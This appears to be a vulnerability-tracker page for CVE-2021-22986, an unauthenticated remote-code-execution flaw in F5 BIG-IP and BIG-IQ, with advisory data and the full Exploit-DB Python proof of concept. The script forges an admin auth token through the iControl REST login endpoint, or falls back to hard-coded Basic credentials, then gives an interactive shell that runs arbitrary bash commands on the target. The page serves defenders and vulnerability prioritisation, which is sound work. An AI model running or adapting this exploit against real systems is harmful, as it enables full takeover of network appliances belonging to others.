CVE-2021-22986

unknown KEV
Published 2021-11-03 ยท Modified 2021-11-03
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
2.5

Description

F5 BIG-IP and BIG-IQ Centralized Management contain a remote code execution vulnerability in the iControl REST interface that allows unauthenticated attackers with network access to execute system commands, create or delete files, and disable services.

CISA KEV

Vendor
F5
Product
BIG-IP and BIG-IQ Centralized Management
Due date
2021-11-17

Predictions

Exploit likelihood
99%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-49738 webapps hardware python ยท 4 KB
Al1ex ยท 2021-04-02

F5 BIG-IP 16.0.x - iControl REST Remote Code Execution (Unauthenticated)

python exploit Source: Exploit-DB
# Exploit Title: F5 BIG-IP 16.0.x - iControl REST Remote Code Execution (Unauthenticated)
# Exploit Author: Al1ex
# Vendor Homepage: https://www.f5.com/products/big-ip-services
# Version: 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2
# CVE : CVE-2021-22986

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import sys


def title():
    print('''
      ______ ____    ____  _______       ___     ___    ___    __        ___    ___     ___     ___      __   
     /      |\   \  /   / |   ____|     |__ \   / _ \  |__ \  /_ |      |__ \  |__ \   / _ \   / _ \    / /   
    |  ,----' \   \/   /  |  |__    ______ ) | | | | |    ) |  | |  ______ ) |    ) | | (_) | | (_) |  / /_   
    |  |       \      /   |   __|  |______/ /  | | | |   / /   | | |______/ /    / /   \__, |  > _ <  | '_ \  
    |  `----.   \    /    |  |____       / /_  | |_| |  / /_   | |       / /_   / /_     / /  | (_) | | (_) | 
     \______|    \__/     |_______|     |____|  \___/  |____|  |_|      |____| |____|   /_/    \___/   \___/                                                                                                                                                                             
    
                                Author:Al1ex@Heptagram
                                Github:https://github.com/Al1ex
    ''')   

def exploit(url):
	target_url = url + '/mgmt/shared/authn/login'
	data = {
		"bigipAuthCookie":"",
		"username":"admin",
		"loginReference":{"link":"/shared/gossip"},
		"userReference":{"link":"https://localhost/mgmt/shared/authz/users/admin"}
	}
	headers = {
		"User-Agent": "hello-world",
		"Content-Type":"application/x-www-form-urlencoded"
	}
	response = requests.post(target_url, headers=headers, json=data, verify=False, timeout=15)
	if "/mgmt/shared/authz/tokens/" not in response.text:
		print('(-) Get token fail !!!')
		print('(*) Tested Method 2:') 
		header_2 = {
		    'User-Agent': 'hello-world',
		    'Content-Type': 'application/json',
		    'X-F5-Auth-Token': '',
		    'Authorization': 'Basic YWRtaW46QVNhc1M='
		}
		data_2 = {
			"command": "run", 
			"utilCmdArgs": "-c whoami"
		}
		check_url = url + '/mgmt/tm/util/bash'
		try:
			response2 = requests.post(url=check_url, json=data_2, headers=header_2, verify=False, timeout=20)
			if response2.status_code == 200 and 'commandResult' in response2.text:
				while True:
					cmd = input("(:CMD)> ")
					data_3 = {"command": "run", "utilCmdArgs": "-c '%s'"%(cmd)}
					r = requests.post(url=check_url, json=data_3, headers=header_2, verify=False)
					if r.status_code == 200 and 'commandResult' in r.text:
						print(r.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
			else:
				print('(-) Not vuln...')
				exit(0)
		except Exception:
			print('ERROR Connect')
	print('(+) Extract token: %s'%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0]))
	while True:
		cmd = input("(:CMD)> ")
		headers = {
			"Content-Type": "application/json",
			"X-F5-Auth-Token": "%s"%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0])
		}
		data_json = {
			"command": "run", 
			"utilCmdArgs": "-c \'%s\'"%(cmd)
		}
		exp_url= url + '/mgmt/tm/util/bash'
		exp_req = requests.post(exp_url, headers=headers, json=data_json, verify=False, timeout=15)
		if exp_req.status_code == 200 and 'commandResult' in exp_req.text:
			print(exp_req.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
		else:
			print('(-) Not vuln...')
			exit(0)

if __name__ == '__main__':
    title()
    if(len(sys.argv) < 2):
    	print('[+] USAGE: python3 %s https://<target_url>\n'%(sys.argv[0]))
    	exit(0)
    else:
    	exploit(sys.argv[1])

Metasploit modules

F5 iControl REST Unauthenticated SSRF Token Generation RCE
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References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.